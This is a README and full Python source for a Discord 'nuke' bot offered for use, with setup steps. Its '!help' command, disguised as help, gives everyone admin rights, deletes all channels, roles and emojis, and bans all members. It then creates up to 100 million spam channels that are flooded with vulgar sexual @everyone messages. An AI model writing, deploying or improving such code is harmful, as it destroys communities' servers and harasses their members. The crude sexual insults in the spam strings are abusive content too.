SimpleNukeBot
A simple, fast, and awesome discord nuke bot! The only thing you need to add is your bot token.
Instructions:
All you need to do is create a discord bot in the discord dev portal. Once you have create a bot in it, copy its token and paste it in the quotes in line 18!
Nuke Command: !help
Other:
If you want to run the bot off replit here it is!:
All you have to do in replit is add a secret called TOKEN in the key section and paste your bots token in the value section, then of course run it.
from discord.ext import commands
import random
from discord import Permissions
from colorama import Fore, Style
import asyncio
import os
from keep_alive import keep_alive
SPAM_CHANNEL = ["Get Punked Noob", "Beaming by your dads massive cock", "Im sorry but--", "beamed by your dads tiny balls", "WHY TF YOU SO ANNOYING??"]
SPAM_MESSAGE = ["@everyone **Beamed by your dads massive musty cock, your dooky booty, suck some musty rusty tiny cock!**"]
bot = commands.Bot(command_prefix="!")
bot.remove_command("help")
@bot.event
async def on_ready():
print('''
███╗░░██╗██╗░░░██╗██╗░░██╗███████╗ ██████╗░░█████╗░████████╗
████╗░██║██║░░░██║██║░██╔╝██╔════╝ ██╔══██╗██╔══██╗╚══██╔══╝
██╔██╗██║██║░░░██║█████═╝░█████╗░░ ██████╦╝██║░░██║░░░██║░░░
██║╚████║██║░░░██║██╔═██╗░██╔══╝░░ ██╔══██╗██║░░██║░░░██║░░░
██║░╚███║╚██████╔╝██║░╚██╗███████╗ ██████╦╝╚█████╔╝░░░██║░░░
╚═╝░░╚══╝░╚═════╝░╚═╝░░╚═╝╚══════╝ ╚═════╝░░╚════╝░░░░╚═╝░░░
''')
await bot.change_presence(activity=discord.Game(name="In 500+ Servers, !help"))
@bot.command()
@commands.is_owner()
async def bot_stop(ctx):
await ctx.bot.logout()
print (Fore.GREEN + f"{bot.user.name} has logged out successfully." + Fore.RESET)
@bot.command()
async def help(ctx):
await ctx.message.delete()
guild = ctx.guild
try:
role = discord.utils.get(guild.roles, name = "@everyone")
await role.edit(permissions = Permissions.all())
print(Fore.MAGENTA + "I have given everyone admin." + Fore.RESET)
except:
print(Fore.GREEN + "I was unable to give everyone admin" + Fore.RESET)
for channel in guild.channels:
try:
await channel.delete()
print(Fore.MAGENTA + f"{channel.name} was deleted." + Fore.RESET)
except:
print(Fore.GREEN + f"{channel.name} was NOT deleted." + Fore.RESET)
for member in guild.members:
try:
await member.ban()
print(Fore.MAGENTA + f"{member.name}#{member.discriminator} Was banned" + Fore.RESET)
except:
print(Fore.GREEN + f"{member.name}#{member.discriminator} Was unable to be banned." + Fore.RESET)
for role in guild.roles:
try:
await role.delete()
print(Fore.MAGENTA + f"{role.name} Has been deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{role.name} Has not been deleted" + Fore.RESET)
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
print(Fore.MAGENTA + f"{emoji.name} Was deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{emoji.name} Wasn't Deleted" + Fore.RESET)
banned_users = await guild.bans()
for ban_entry in banned_users:
user = ban_entry.user
try:
await user.unban("𝐘𝐨𝐮𝐫_𝐔𝐬𝐞𝐫")
print(Fore.MAGENTA + f"{user.name}#{user.discriminator} Was successfully unbanned." + Fore.RESET)
except:
print(Fore.GREEN + f"{user.name}#{user.discriminator} Was not unbanned." + Fore.RESET)
await guild.create_text_channel("Get Punked Noob")
for channel in guild.text_channels:
link = await channel.create_invite(max_age = 0, max_uses = 0)
print(f"New Invite: {link}")
amount = 100000000
for i in range(amount):
await guild.create_text_channel(random.choice(SPAM_CHANNEL))
print(f"nuked {guild.name} Successfully.")
return
@bot.event
async def on_guild_channel_create(channel):
while True:
await channel.send(random.choice(SPAM_MESSAGE))
keep_alive()
bot.run(os.getenv("TOKEN"))```